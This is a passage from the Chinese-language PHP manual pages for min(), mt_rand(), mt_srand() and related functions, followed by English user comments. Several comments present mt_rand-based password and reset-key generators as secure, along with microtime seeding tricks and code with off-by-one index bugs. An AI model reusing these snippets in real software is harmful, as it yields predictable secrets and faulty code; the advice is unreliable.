max (0, 0); // returns 0.
max (0, false); // returns 0.
max (false, 0); // returns false.
max (false, false); // returns false.

As a solution use this:

(int) max (false, 0); // returns 0.
(int) max (false, false); // returns 0.
add a note add a note

后退 | 起点 | 前进
log | 上一级 | min


min

(PHP 3, PHP 4, PHP 5)

min -- 找出最小值

说明

mixed min ( number arg1, number arg2 )

mixed min ( array numbers [, array ...] )

min() 返回参数中数值最小的。

如果仅有一个参数且为数组，min() 返回该数组中最小的值。如果第一个参数是整数、字符串或浮点数，则至少需要两个参数而 min() 会返回这些值中最小的一个。可以比较无限多个值。

注: PHP 会将非数值的 string 当成 0，但如果这个正是最小的数值则仍然会返回一个字符串。如果多个参数的值都是 0，min() 将返回第一个（最左边的值）。

例子 1. 使用 min() 的例子

<?php
echo min(2, 3, 1, 6, 7);  // 1
echo min(array(2, 4, 5)); // 2
echo min(0, 'hello');     // 0
echo min('hello', 0);     // hello
echo min('hello', -1);    // -1

// 对多个数组，min 从左向右比较。
// 因此在本例中：2 == 2，但 4 < 5
$val = min(array(2, 4, 8), array(2, 5, 1)); // array(2, 4, 8)

// 如果同时给出数组和非数组作为参数，则不可能返回数组，因为
// 数组被视为最大的
$val = min('string', array(2, 5, 7), 42);   // string
?>

参见 max() 和 count()。

add a note add a note User Contributed Notes
johnphayes at gmail dot com
03-May-2006 12:26
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
steffen at morkland dot com
16-Mar-2006 06:16
> NEVER EVER use this function with boolean variables !!!
> Or you'll get something like this: min(true, 1, -2) == true;

> Just because of:
> min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

It is possible to use it with booleans, there is is just one thing, which you need to keep in mind, when evaluating using the non strict comparison (==) anyting that is not bool false, 0 or NULL is consideret true eg.:
(5 == true) = true;
(0 == true) = false;
true is also actually anything else then 0, false and null. However when true is converted to a string or interger true == 1, therefore when sorting true = 1. But if true is the maximum number bool true is returned. so to be sure, if you only want to match if true is the max number remember to use the strict comparison operater ===
01-Feb-2006 01:37
NEVER EVER use this function with boolean variables !!!
Or you'll get something like this: min(true, 1, -2) == true;

Just because of:
min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

You are warned !
DASPRiD d [AT] sprid [DOT] de
06-Jul-2005 09:39
Here is my slightly modified version of the bugfree min-version. Now the max() function is no longer used in the modification and overall it's fasten up. Would be nice to get some feedback.

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args)) return false;
  else {
   $min = false;
   foreach ($args AS $value) {
     $curval = floatval($value);
     if ($curval < $min || $min === false) $min = $curval;
   }
  }

  return $min;
}
?>
alx5000 at walla dot com
13-Jan-2005 09:16
If you want min to return zero (0) when comparing to a string, try this:

<?php
min(3,4,";");  // ";"
min(0,min(3,4,";")) // 0
?>
nonick AT 8027 DOT org
24-Jan-2004 11:43
I tested this with max(), but I suppose it applies to min() too: If you are working with numbers, then you can use:

   $a = ($b < $c) ? $b : $c;

 which is somewhat faster (roughly 16%) than

   $a = min($b, $c);

 I tested this on several loops using integers and floats, over 1 million iterations.

 I'm running PHP 4.3.1 as a module for Apache 1.3.27.
browne at bee why you dot ee dee you
17-Dec-2003 06:30
min() can be used to cap values at a specific value. For instance, if you're grading papers and someone has some extra credit, but  that shouldn't make it to the final score:

$pts_possible = 50;
$score = 55;

// Percent will equal 1 if $score/$pts_possible is greater than 1
$percent = min($score/$pts_possible,1);
kieran at mgpenguin dot net
19-Jul-2003 11:28
Further modifications to the minnum function above.. This is for a project where I had to grab an entire column out of a database consisting of values that might be string, might be string representations of numbers (floating point or integer) or might be NULL, and find the minimum NUMERIC value:

function minnum($numarray){
   //dont use min(), it contains a bug!
   $min=0;
   if ( ! is_array($numarray) ) $numarray = func_get_args();
   if(is_array($numarray)==true){
       $min=max($numarray);
       for($z=0;$z<count($numarray);$z++){
           $curval=floatval($numarray[$z]);
           if(($curval != 0) && ($curval < $min)){
               $min=$curval;
           }
       }
   }
   return $min;
}

Gets the floating point value of each entry and uses this to check whether it's actually a number before checking whether it's the minimum or not. Also contains modifications noted above to use it as a drop in replacement for min - ie multiple values passed.
Merome at wanadoo dot fr
06-Jul-2003 12:40
Caution : it seems that min() can return a string :

min(";",50)=";" (I expected zero)
calin at php9 dot com
30-May-2003 11:19
if you have an array like this

$arSrc[0]=14;
$arSrc[1]=16;
$arSrc[2]=13;
$arSrc[3]=17;

then in order to get the min element and its position in the array you can do:

$iMinValue = min($arSrc);
$arFlip = array_flip($arSrc);
$iMinPosition = $arFlip[$iMinValue];

echo
 '<br />min_value=',
 $iMinValue,
 '<br />min_position=',
 $iMinPosition
;

this example works for also for an associative array; of course with numeric values
09-Jul-2002 05:36
Re: above example - for a proper drop in replacement for the above, insert

if ( ! is_array($numarray) )
   $numarray = func_get_args();

after
   $min=0;

(For PHP3, check
if (intval(PHP_VERSION) >= 4 && ! is_array($numarray))
   $numarray = func_get_args();
)
kevin at pricetrak dot com
09-Apr-2002 02:47
The 'undefined' behaviour can bit you badly. I would expect min(undefined, -1000) to return -1000. Not so.
nak2 at mail2000 dot ru
15-Mar-2002 03:36
If one of elements is undefided, min() result is underfinded too
add a note add a note

后退 | 起点 | 前进
max | 上一级 | mt_getrandmax


mt_getrandmax

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_getrandmax -- 显示随机数的最大可能值

说明

int mt_getrandmax ( void )

返回调用 mt_rand() 所能返回的最大的随机数。

参见：
mt_rand()、
mt_srand()和
getrandmax()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
min | 上一级 | mt_rand


mt_rand

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_rand -- 生成更好的随机数

说明

int mt_rand ( [int min, int max] )

很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器，它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。

如果没有提供可选参数 min 和 max，mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15（包括 5 和 15）之间的随机数，用 mt_rand(5, 15)。

例子 1. mt_rand() 范例

<?php
echo mt_rand() . "\n";
echo mt_rand() . "\n";

echo mt_rand(5, 15);
?>

上例的输出类似于：

1604716014
1478613278
6

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

注: 在 3.0.7 之前的版本中，max 的含义是 range。要在这些版本中得到和上例相同 5 到 15 的随机数，简短的例子是 mt_rand (5, 11)。

参见 mt_srand()，mt_getrandmax() 和 rand()。

add a note add a note User Contributed Notes
arias at elleondeoro dot com
29-May-2006 05:03
Be carefull with: $characters[mt_rand(0, count($characters))];

"If you want a random number between 5 and 15 (inclusive), for example, use mt_rand (5, 15)."

Array index are between 0 and n-1, but mt_rand generates a number between 0 and n!
James
16-Apr-2006 02:02
The Developers Resources article mentioned above should be removed as that site has be down for years. The same article by Gregory Boshoff is available at http://www.phpfive.net/article2.htm
rollerce at gmail dot com
15-Feb-2006 09:38
I know a bunch of you have posted little snippets for random number generation, but here's a nifty (in my opinion) little thing I just wrote to create a 10 digit code with hyphens in it. It also negates the use of 0, O, 1, and I, to avoid confusion. I am ALWAYS willing to accept input so if any of you has suggestions to streamline the code, please let me know.

<?php
     function GetID($x){

         $characters = array("A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "2", "3", "4", "5", "6", "7", "8", "9");
         shuffle($characters);

         for (; strlen($ReqID)<$x;){
           $ReqID .= $characters[mt_rand(0, count($characters))];
         }

         return $ReqID;

       }

       $ReqID .= GetID(3);
       $ReqID .= "-";
       $ReqID .= GetID(4);
       $ReqID .= "-";
       $ReqID .= GetID(3);

       echo $ReqID

?>
ripat at lumadis dot be
08-Nov-2005 12:38
Yet another snippet to generate a password.
<?php
  $acceptedChars = 'azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789';
  $max = strlen($acceptedChars)-1;
  $password = null;
  for($i=0; $i < 8; $i++) {
   $password .= $acceptedChars{mt_rand(0, $max)};
  }
  echo $password;
?>
I have tried several ways of doing it but this simple one seems to be the fastest.
fahri at konse dot de
09-Oct-2005 12:12
i did the following, to generate a few random-numbers out of a total amount of numbers, but to create different random-numbers and not double or tripple.
for example i use it to generate 10 random-pics out of 150, and do shurely generate not twice the same...

<?php
$total =  6; // available numbers (of pictures)
$randanzahl = 6; //number of random-number to generate out of $total

function checkifdouble($ran,$i) {
       for($j=1; $j<$i; $j++) {
               if($ran[$j]==$ran[$i]) {
                       $ergebnis="true";
                       break;
               } //endif
               else {
                       $ergebnis="false";
               } //endelse
       } //endfor
return $ergebnis;
}

for ($i=1; $i<=$randanzahl; $i++) {
       $ran[$i] = mt_rand(1, $total);
       if ($i>1) {
               while(checkifdouble($ran,$i)=="true") {
                       $ran[$i] = mt_rand(1, $total);
                       $v=checkifdouble($ran,$i);
                       echo($v);
               } //endif
       }
       echo($ran[$i]."<br>");

} //enfor
?>

this version is easily for debugging and adaption!
maybe there is a very shorter version...
phil [underscore] ozil at hotmail dot com
07-Oct-2005 09:13
Quit bothering yourselves.
All it takes to create a secure random-generated password is those three lines:

<?php
$pass = "";
// Generate a 8 char password
for ($i=0; $i<8; $i++)
  $pass .= chr(mt_rand(35, 126));
?>

Note:
In this example, the character's ASCII values range from 35 to 126.

For character's ASCII codes please check:
http://www.keller.com/html-quickref/latin1.html
frans-jan at van-steenbeek dot net
03-Oct-2005 10:18
My try at generating a reasonably secure password:

<?php
 function keygen() {
  $tempstring =
  "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
  PQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABC
  DEFGHIJKLMNOPQRSTUVWXYZ!?@#$%&*[]{}();:,<>~+=-_
  /|\\";
  for($length = 0; $length < mt_rand(10, 15); $length++) {
   $temp = str_shuffle($tempstring);
   $char = mt_rand(0, strlen($temp));
   $pass .= $temp[$char];
  }
  return $pass;
 }
 echo(keygen());
 echo("\n");
?>

This generates a password of an undefined length (in this case, 10 to 15 chars) consisting of numbers, UPPERCASE letters lowercase letters and a set of signs. I have doubled the chance of number and letters to reduce the confusion with my users.
sean at codeaholics dot com
22-Jul-2005 09:31
You really shouldn't generate a number to determine the _type_ of the char, then the char itself.  If security is an issue for you, and you want to maintain as much entropy as possible, you should use a function similar to the one below.  Since this seems to be getting repeated over-and-over, I explained (beat into the ground?) the issue on http://www.codeaholics.com/randomCode.php

The code:
<?php
////
// Returns a random code of the specified length, containing characters that are
// equally likely to be any of the digits, uppercase letters, or  lowercase letters.
//
// The default length of 10 provides 839299365868340224 (62^10) possible codes.
//
// NOTE: Do not call wt_srand().  It is handled automatically in PHP 4.2.0 and above
//      and any additional calls are likely to DECREASE the randomness.
////
function randomCode($length=10){
   $retVal = "";
   while(strlen($retVal) < $length){
       $nextChar = mt_rand(0, 61); // 10 digits + 26 uppercase + 26 lowercase = 62 chars
       if(($nextChar >=10) && ($nextChar < 36)){ // uppercase letters
           $nextChar -= 10; // bases the number at 0 instead of 10
           $nextChar = chr($nextChar + 65); // ord('A') == 65
       } else if($nextChar >= 36){ // lowercase letters
           $nextChar -= 36; // bases the number at 0 instead of 36
           $nextChar = chr($nextChar + 97); // ord('a') == 97
       } else { // 0-9
           $nextChar = chr($nextChar + 48); // ord('0') == 48
       }
       $retVal .= $nextChar;
   }
   return $retVal;
}
?>
mina86 at nospam dot projektcode dot org
25-May-2005 08:00
Re: solenoid at hotmail dot united dot kingdom

In theory method shown by selenoid can lead to infinite loop. The correct method would be:

<?php
$randomNumbers = array();
for ($i = 0; i<30; ++$i) $randomNumbers[] = $i;
shuffle($randomNumbers);
for ($i = 20; $i<30; ++$i) unset($randomNumbers[$i]);
$randomNumbers = array_values($randomNumbers);
?>

The last two lines may be in some cases removed.
nowhere at where dot net
16-Apr-2005 05:46
Allows characters 0-9, a-z
Weighted (and tested) ok.

<?php
function generate_string ($length = 20)
{
   $nps = "";
   for($i=0;$i<$length;$i++)
   {
       $nps .= chr( (mt_rand(1, 36) <= 26) ? mt_rand(97, 122) : mt_rand(48, 57 ));
   }
   return $nps;
}
?>
mskala at ansuz dot sooke dot bc dot ca
24-Jan-2005 07:47
Running the output of Mersenne Twister through an unkeyed secure hash is NOT a good way to make it secure, because it'll still have a relatively small internal state which, if recovered, would allow reproduction of the keystream.  A better idea would be to encrypt the output with a keyed encryption algorithm - but if you were going to do that, you wouldn't need a psuedorandom number generator at all, because a counter would be just as good.
timr at onlinehome dot de
13-Aug-2004 07:24
The correct address of the inventor's FAQ is (http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html). They state that Mersenne Twister may be used for cryptography if you do some post-processing:

"Mersenne Twister is not cryptographically secure. (MT is based on a linear recursion. Any pseudorandom number sequence generated by a linear recursion is insecure, since from sufficiently long subsequence of the outputs, one can predict the rest of the outputs.)

To make it secure, you need to use some Secure Hashing Algorithm with MT. For example, you may gather every eight words of outputs, and compress them into one word (thus the length of the output sequence is 1/8 of the original one)."
11-Feb-2004 09:27
Here is a example of a very small, compact, quite random-random string generator. It will make a string with uppercase & lowercase letters, with numbers. You simply need to set $len in the for() structure, and then the string will be in $r.  It has been designed for size, while it's still quite fast.  Mind the wrapping, it should be 1 line.

<?php
for($len=8,$r='';strlen($r)<$len;$r.=chr(!mt_rand(0,2)?
mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand
(97,122))));
?>

Armond Carroll
tmx at ntlworld dot com
07-Dec-2003 05:26
When using this function, it doesn't matter which order the numbers go in.

     mt_rand(16,5)

works just as well as

     mt_rand(5,16)

Which can be useful if you are pulling values from a database, that could be negative or positive.

     mtrand(0,$anyinteger)

Hope this helps someone
daeken_9999 at yahoo dot com
08-Jul-2003 05:44
This is a fixed version of the gaussrand() function defined in a note above.

<?php
function gaussrand()
{
   static $V2, $V1, $S;
   static $phase = 0;
   if (phase == 0)
   {
       while ($S >= 1 || $S == 0)
       {
           $V1 = 2 * (rand() / getrandmax()) - 1;
           $V2 = 2 * (rand() / getrandmax()) - 1;
           $S = $V1 * $V1 + $V2 * $V2;
       }
       $X = $V1 * sqrt(-2 * log($S) / $S);
   }
   else
       $X = $V2 * sqrt(-2 * log($S) / $S);
   $phase = 1 - $phase;
   return $X;
}
?>
jsheets at shadonet dot com
05-Jun-2003 04:49
The following function will create a random base64 encoded key, this is very useful for password reset schemes or anything where you want a random string.  To compare the string either compare the base64 encoded value or base64_decode it and compare that.

I do not use md5 because md5 results in only 1-9 and a-f in the string or 32^16 possibilities, by using the extended ASCII table and shuffling the array I am able to get a minimum of 32^127 possibilities with a 32 character string, using a longer string will make your value harder to guess still. A lot of machiens will have 32^255 possibilities in a decoded string.

<?php
function MakeResetKey($min_length = 32, $max_length = 64)
{
   $key = '';

   // build range and shuffle range using ASCII table
   for ($i=0; $i<=255; $i++) {
     $range[] = chr($i);
   }

   // shuffle our range 3 times
   for ($i=0; $i<=3; $i++) {
     shuffle($range);
   }

     // loop for random number generation
   for ($i = 0; $i < mt_rand($min_length, $max_length); $i++) {
     $key .= $range[mt_rand(0, count($range))];
   }

   $return = base64_encode($key);

   if (!empty($return)) {
     return $return;
   } else {
     return 0;
   }
}
?>
demogracia at metropoliglobal dot com
03-Mar-2002 04:38
<?php
//
// Generates a random string with the specified length
// Chars are chosen from the provided [optional] list
//
function simpleRandString($length=16, $list="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"){
   mt_srand((double)microtime()*1000000);
   $newstring="";

   if($length>0){
       while(strlen($newstring)<$length){
           $newstring.=$list[mt_rand(0, strlen($list)-1)];
       }
   }
   return $newstring;
}

//
// Generates a random string with the specified length
// Includes: a-z, A-Z y 0-9
//
function randString($length=16) {
   $newstring="";
   if($length>0) {
       while(strlen($newstring)<$length) {
           $randnum = mt_rand(0,61);
           if ($randnum < 10) {
               $newstring.=chr($randnum+48);
           } elseif ($randnum < 36) {
               $newstring.=chr($randnum+55);
           } else {
               $newstring.=chr($randnum+61);
           }
       }
   }
   return $newstring;
}
?>
amcclung at stetson dot edu
19-Apr-2001 04:27
Here's an elegant way of generating a random float value within a certain range:

$range = $upperBound-$lowerBound;
$num = $lowerBound + $range * mt_rand(0, 32767)/32767;

You should now have a floating point number between your $lowerBound (i.e. 0.5) and $upperBound (0.75) values.
mrdlinux at yahoo dot com
21-Jul-2000 01:02
And for those who prefer scaling:

mt_rand() / RAND_MAX * (Max - Min) + Min;
add a note add a note

后退 | 起点 | 前进
mt_getrandmax | 上一级 | mt_srand


mt_srand

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子

说明

void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空时，会被设为随时数。

例子 1. mt_srand() 范例

<?php
// seed with microseconds
function make_seed()
{
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

参见 mt_rand()，mt_getrandmax() 和 srand()。

add a note add a note User Contributed Notes
gigs
13-Jan-2006 03:13
used the little script from mrcheezy at hotmail dot com and got much better results using

mt_srand(crc32(microtime()));
vbassassin at coderheaven dot com
01-Dec-2005 12:57
"Better still: Use a 31-bit hash of microtime() as the seed. "

Correct me if i am wrong, but woudlnt using microtime() still limit the total seeds to 1,000,000 again? Since the 31-bit hash will always give the same hash for the same number, and in the microtime() function you could have 1,000,000 or less numbers. So in effect your still no better off at all :-p

Best regards,
scott

PS: I actually agree that PHP has pretty much resolved the issue and got as close as anyones going to get to solving the seeding issue by introducing the "Mersenne Twister" algorithm which creates a much larger pool than 1,000,000 numbers. Just because the mt_srand() function exists doesnt mean you HAVE to use it ;-) use it if you NEED a specific list of the same numbers (comes in handy for encryptions with passwords ;-)
12-Sep-2005 09:03
It's better to use the following method instead of the one in the documentation metioned:

<?php
mt_srand((double)(microtime() ^ posix_getpid()));
?>

Otherwise people requesting the script at the same time could get the same generated number.
Schrecktech
21-Jan-2005 10:16
::: My seeding report :::

For FreeBSD 4.8-STABLE PHP 4.3.10 it was good enough and faster to not seed at all...although I did not test the random pseudo terminal.

In detail only seeding once by a previous seed using the hex version (case 3 below) for larger numbers and longer run times faired the best.  For small numbers it was better to not seed at all (let alone faster).  Play with the $loop and $max numbers to see...

<?
function get_a_good_seed
(
   $choice = 3
)
{
   static $seed;
   $seed = 0;
   switch($choice)
   {
       case 1:
           // from php.net documentation.
           list($usec, $sec) = explode(' ', microtime());
           $seed = (float) $sec + ((float) $usec * 1000000);
           break;
       case 2:
           // from high primary number.
           $seed = (double)microtime()*1000003;
           break;
       case 3:
           // from a good random source.
           $seed = hexdec(substr(md5(microtime()), -8)) & 0x7fffffff;
           break;
       case 4:
           // from random terminal
           // NOT TESTED
           break;
       default:
           break;
   }
   return($seed);
}
function load_last_random
(
)
{
   static $last;
   static $handle;
   // NOTE: create this file with a random integer...
   $handle = fopen("random.txt", "r");
   while (!feof($handle)) {
       $last = fgets($handle, 4096);
   }
   fclose($handle);
   return($last);
}

function save_last_random
(
   $save = 0
)
{
   $handle = fopen("random.txt", "w");
   fwrite($handle, $save);
   fclose($handle);
}

function seed_random_number_generator
(
   $type = 3,
   $ignore_generated_already = FALSE
)
{
   static $generator_seeded = FALSE;
   if($ignore_generated_already || !$generator_seeded)
   {
       // 1) load last with time...force integer.
       // 2) generate a new random seed and save for next time...
       mt_srand(( load_last_random()+get_a_good_seed($type) ) & 0x7fffffff);
       save_last_random(mt_rand());
       $generator_seeded= TRUE;
   }
}
?>
fasaxc at yahoo dot co dot uk
25-Jul-2003 11:01
In fact, here's an even better function than the one below assuming your install provides a random entropy daemon and you're running *nix (to check for the former type "head -c 6 /dev/urandom" on the command line if available - if you get 6 random characters you're set). N.B. php must be able to find the head program so it must be in your path and allowed if you're running safe mode.

The functions db_set_global() and db_get_global() I use to set/get a variable from a central database but you could save/restore the variable from a file instead or just use the function get_random_word().

<?

####################################
## returns a random 32bit integer.
## Passing a parameter of True gives a better random
## number but relies on the /dev/random device
## which can block for a long time while it gathers
## enough random data ie. DONT USE IT unless
##  a) You have an entropy generator attatched to
## your computer set to /dev/random -OR-
##  b) Your script is running locally and generating
## a good random number is very important
####################################
function get_random_word($force_random=False) {
   if ($force_random) {
       $u='';
   } else {
       $u='u';
   }
   $ran_string=shell_exec("head -c 4 /dev/{$u}random");
   $random=ord(substr($ran_string,0,1))<<24 |
           ord(substr($ran_string,1,1))<<16 |
           ord(substr($ran_string,2,1))<<8 |
           ord(substr($ran_string,3,1));
   return $random;
}

--EITHER - IF YOU'VE SET UP A DATABASE OF GLOBAL VARIABLES--

## If the seed is found in the database
if ($seed=db_get_global('seed')) {
   # use mt_rand() to get the next seed
   mt_srand($seed);
   # then XOR that with a random word
   $seed=(mt_rand() ^ get_random_word());
} else {
## Make a completely new seed (First Run)
   # Generate the seed as a proper random no using /dev/random
   $seed=get_random_word(True);
   mt_srand($seed);
}

db_set_global('seed',$seed);

--OR JUST--
mt_srand(get_random_word());

?>
fasaxc at yahoo dot com
18-Jul-2003 07:14
The best way to ensure a random seed is to do the following:
To start:
   1) get your initial seed with mt_srand(microtime() * 1000000)
   2) generate a random no. $random=mt_rand()
   3) save this number in a file (or database or whatever so that it is available next time the page is loaded)

 Now, for each time your script is loaded :
   1) load the value you saved above and do $new_seed=($random+(microtime() * 1000000))%pow(2,32)
   2) mt_srand($new_seed);
   3) generate a new random no. $random=mt_rand()
   4) save that number back in the file/database

This procedure takes advantage not only of the randomness of microtime() but of all the previous calls to microtime() so your seed becomes better and better with time. It also generates good seeds even on platforms where microtime() doesn't take all the values it can.

Just using microtime() * 1000000 only results in 1000000 possible seeds (and less on some platforms as noted) - the function above gives 2^32 seeds with an avelanche effect accross multiple executions.
mrcheezy at hotmail dot com
18-Feb-2003 06:14
Very good points above on seeds, thank you. If you would like to test a seed try using the code below. It will take between 5 and 20 seconds depending on your system and then will spit out the number of reused keys out of 100,000 attempts.

;  for ($i=0; $i<100000; $i++) {
;    mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
;    $rand = mt_rand();
;
;    ($arr[$rand] == '1') ? $k++ : $arr[$rand] = '1';
;  }
mattb at columbia dot edu
12-Dec-2002 04:54
This is effectively the same thing, but it uses a more efficient bit mask instead of a substring. Here's the verbose version:

   function mkseed()
   {
       $hash = md5(microtime());
       $loWord = substr($hash, -8);
       $seed = hexdec($loWord);
       $seed &= 0x7fffffff;

       return $seed;
   }

Or, if you're a real hacker, this is a more concise version:

   function mkseed()
   {
       return hexdec(substr(md5(microtime()), -8)) & 0x7fffffff;
   }

Note, the range on the md5 sum is really arbitrary. You could use whatever portion you like, just so long as it's 32 bits.

Now just call mt_srand() (once) as follows:

   mt_srand(mkseed());

Of course, unless you wanted the mkseed() function for something else, you could skip all that jive and just do this somewhere in a global include file:

   <?php

   /*
       Global include file. Make sure this gets included before using
       mt_rand().
   */

   if (!isset($_MyApp_MtSrand)
       || !$_MyApp_MtSrand)
   {
       $_MyApp_MtSrand = true;
       mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
   }

   ?>
ghaecker_no_spam at idworld dot net
21-Sep-2002 04:20
The range of unique seeds using this method is a bit over 2 billion.  This approach also prevents re-seeding.

function seed_mt_rand() {
static $done;
if (!$done) {
$hash = md5(microtime());
$length = ((substr($hash,0,1) < '8') ? 8 : 7 );
mt_srand((int)base_convert(substr($hash,0,$length),16,10));
$done = TRUE;
}
}
maxim at php dot net
14-Jun-2002 05:57
to : l_rossato@libero.it

doing ...

list($usec,$sec)=explode(" ",microtime());
$unique = mt_srand($sec * $usec);

theoretiaclly, makes just as much sense as

list($usec,$sec)=explode(" ",microtime());
$unique = $usec + 0;

Once every while, depending on the microsecond resolution of your computer, the millisecond value will be a zero (0), and as I hope you know, in mathematics, any number multiplied by a zero becomes a zero itself.

(x * 0 = 0)

In real life, on a good machine, with a resolution to 1 million miliseconds per each second (i.e: Win2k server), you will be reduplicating your unique ID each million's ID issued. This means if you use it as your cookie encryption algorithm or a visitor ID, you will not exceed some million instances.

Futhermore, if that would be for a software development that you re-distribuite, installed on some weird old PC, where resolution can be as small as 100 milliseconds per second - a code with this uniqueness algorithm just wouldn't last any long.

Good Luck,

Maxim Maletsky
maxim@php.net

PHPBeginner.com
changminyang at hananet dot net
21-Feb-2002 06:00
list($usec,$sec) = explode(" ",microtime());

/* Test: Each get rand sequence are 10time. */
/* ex) 5.3point meaning 5point integer + 3point decimal */

// case A:
// 5.0point - 1time
// 6.0point - 9time
$rand = (double)microtime()*1000000;

// case B:
// 8.6point - 1time
// 9.4point - 1time
// 9.5point - 7time
// 10.3point - 1time
$rand = (double)$sec * $usec;

// My case A:
// 8.0point - 10time
$rand = explode(".",$usec * $sec);
$rand = (double)substr($rand[0]*$rand[1],0,8);

// My case B:
// 9.0point - 9time
// 10.0point - 1time
$rand = explode(".",$usec * $sec);
$rand = $rand[0] + $rand[1];

mt_srand($rand);
srand($rand);

// P.S> My previous note is has wrong lines, sorry about it.  This is right.
l_rossato at libero dot it
13-Nov-2001 12:47
Try this much simpler approach:
list($usec,$sec)=explode(" ",microtime());
mt_srand($sec * $usec);

This won't cause an overflow during the float-to-integer conversion.
Of course, if you only need ONE random number just take $sec * $usec! Otherwise, call mt_srand just once at the start of your program.
roundeye_no_spam at roundeye dot net
04-Nov-2001 09:23
Since I've seen this problem in so many other manual comments I'm writing a note here.  Basically, calling mt_srand() every time you call mt_rand() defeats the whole purpose of a generator like the Mersenne Twister, and will greatly reduce the quality of the number stream you produce.  For cryptographic or security purposes this is A Bad Thing.
<br>
DON'T do this:
<br>
function bad_pick_random_number($min, $max) {
  mt_srand();
  return mt_rand($min, $max);
}
<br>
Instead, call mt_srand() *once* early in the execution of your program and pick your numbers separately after that:
<br>
function good_pick_random_number($min, $max) {
   return mt_rand($min, $max);
}
<br>
Of course, if you're doing that sort of thing you might as well just call mt_rand() directly.
trobinson-a-t-gksystems-d-o-t-com
02-Nov-2001 06:15
I see a problem with seeding with:
mt_srand((double)microtime()*1000000);
Too few seeds.
This chooses the seed from a space of only one million seeds. This is a shame, because the Mersenne Twister algorithm has a period of 2**19937-1.
So of all the possible starting points in the MT sequence, the above seed only chooses at random from among 1000000 starting points, or about 0.000...0001% of the possible starting points, where "..." is a string of about 5986 more zeros!
In real life, this means that if you note the first few random numbers, when you see the same first few numbers again, the chances are very good that you have the same seed and the rest of the sequence will be the same too.

If you generate a random "unique" 100-character key for say cookie use, seeding as above, you will likely get a duplicate key after only 1000 keys or so.
Better: To supplement the results from mt_rand, also hash in the entire contents of the microtime() string.
Better still: Use a 31-bit hash of microtime() as the seed.

Problem 2. Way too few seeds on some hardware. It is bad to rely on a clock ticking every microsecond. I have used computers where 100ms was the finest-resolution clock available. That would be just 10 different seeds, as the results from (double)microtime() would look like:
0.10000000
0.20000000
etc.
php_public at macfreek dot nl
07-Oct-2001 11:57
The seed is not good. The make_seed() function returns a big number (around 1.0E14), this number is bigger then 2147483647, the max. size of an integer. If the result of make_seed is first converted to an integer, which -on my setup- always becomes -2147483648. So, the above code always returns the same seed and I always end up with the same random numbers.

Note: This might be related to a bug noted on http://www.php.net/manual/en/language.types.integer.php. But I couldn't confirm this, since it will be fixed in PHP 4.0.7, but that isn't released yet at the time of writing)

I was also not able to fix it by return the seed modulo 2147483647.
So for now, I just suggest change the seed function as:

function make_seed() {
   return (double)microtime()*1000000;
}

See also: uniqid()
add a note add a note

后退 | 起点 | 前进
mt_rand | 上一级 | octdec


octdec

(PHP 3, PHP 4, PHP 5)

octdec -- 八进制转换为十进制

说明

number octdec ( string octal_string )

返回 octal_string 参数所表示的八进制数的十进制等值。可转换的最大的数值为 17777777777 或十进制的 2147483647。PHP 4.1.0 开始，该函数可以处理大数字，这种情况下，它会返回 float 类型。

例子 1. octdec() 范例

<?php
echo octdec('77') . "\n";
echo octdec(decoct(45));
?>

上例将输出：

63
45

参见 decoct() bindec()，hexdec() 和 base_convert().。

add a note add a note User Contributed Notes
11-Sep-2002 04:51
The 'S' flag for Unix file access rights is badly computed in the above sample.
If the corresponding 'x' bit (exec) is not set, and the 's' bit (setgid/setuid/sticky) is set, then the flag should not be displayed as and uppercase 'S', but as a lower case 's'. Also the sticky bit (mainly used for folders with public right access rights such as /tmp to protect against deletion by non owner) is badly named ("text"?).
meheler at searchbc dot com
26-Oct-2001 11:03
This function and decoct work great when working with file permissions. For example:

<?php
   $mode = octdec('4750');

   $user['suid']    = ($mode & 04000);
   $user['read']    = ($mode & 00400);
   $user['write']    = ($mode & 00200);
   $user['execute']  = ($mode & 00100);

   $group['sgid']    = ($mode & 02000);
   $group['read']    = ($mode & 00040);
   $group['write']  = ($mode & 00020);
   $group['execute'] = ($mode & 00010);

   $other['text']    = ($mode & 01000);
   $other['read']    = ($mode & 00004);
   $other['write']  = ($mode & 00002);
